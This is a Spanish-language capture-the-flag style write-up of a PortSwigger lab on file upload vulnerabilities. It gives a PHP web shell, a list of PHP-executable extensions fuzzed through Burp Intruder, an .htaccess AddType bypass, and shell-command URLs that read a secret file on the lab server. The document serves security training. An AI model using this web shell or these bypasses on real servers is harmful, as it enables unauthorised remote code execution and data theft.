Entrada

Web shell upload via extension blacklist bypass

Laboratorio de Portswigger sobre File Upload Vulnerabilities

Web shell upload via extension blacklist bypass

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una función de carga de imágenes vulnerable, ciertas extensiones de archivo están blacklisteadas, pero esta defensa puede ser eludida debido a una falla fundamental en la configuración de esta blacklist. Para resolver el laboratorio, debemos subir una web shell básica en PHP, utilizarla para extraer el contenido del archivo /home/carlos/secret y enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión con nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter


Guía de file upload vulnerabilities

Antes de completar este laboratorio es recomendable leerse esta guía de file upload vulnerabilities https://justice-reaper.github.io/posts/File-Upload-Vulnerabilities-Guide/

Resolución

Al acceder a la web nos sale esto

Pulsamos en My account e iniciamos sesión con las credenciales wiener:peter

Vemos que existe un campo de subida de archivos

Si inspeccionamos con donde se aloja la imagen vemos que es en la ruta /resources/images

Nos creamos un archivo llamado shell.php y lo subimos

1
2
3
<?php
    echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>

Al subir el archivo nos sale un error

Subimos el archivo nuevamente y capturamos la petición con Burpsuite

En Hacktricks hay una lista de extensiones que pueden interpretar código php https://book.hacktricks.xyz/pentesting-web/file-upload#file-upload-general-methodology, nos creamos una lista con estas extensiones

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# cat extensions.txt 
.php
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.phps
.php
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp
.module

Mandamos la petición al intruder de Burpsuite y seleccionamos la extensión

Nos vamos a Payloads, pulsamos en Load, cargamos la lista de extensiones, en la parte inferior de esta ventana desmarcamos el Payload encoding y pulsamos en Start attack

Abrimos nuevamente el inspector de chrome y vemos que el archivo subido se aloja en /files/avatars

Desde el repeater de Burpsuite he ido mandando los payloads manualmente hasta que he dado con el .phar el cual si me ha interpretado https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=whoami, he tenido que hacerlo de esta forma porque los archivos subidos se van eliminando

Listamos el contenido de la home de carlos https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=ls%20/home/carlos

Obtenemos el contenido del archivo secret https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=cat%20/home/carlos/secret

Otra alternativa es subir un archivo .htaccess que haga que una extensión random se interprete como php. Para ello nos creamos un archivo llamado htaccess con este contenido y lo subimos

1
AddType application/x-httpd-php .pwned

Cuando pulsamos sobre upload tenemos que capturar la petición y cambiarle el nombre del archivo, de htaccess a .htaccess. Esto lo tenemos que hacer ahora porque si lo hubiéramos hecho antes, thunar no hubiera podido encontrar el archivo, ya que estaba oculto

Si ahora nos creamos un archivo llamado shell.pwned con este contenido y lo subimos

1
2
3
<?php
    echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>

Podemos acceder a https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.pwned?cmd=whoami y comprobar que podemos ejecutar comandos

Obtenemos el contenido del archivo secret https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.pwned?cmd=cat%20/home/carlos/secret

Submiteamos la solución

Esta entrada está licenciada bajo CC BY 4.0 por el autor.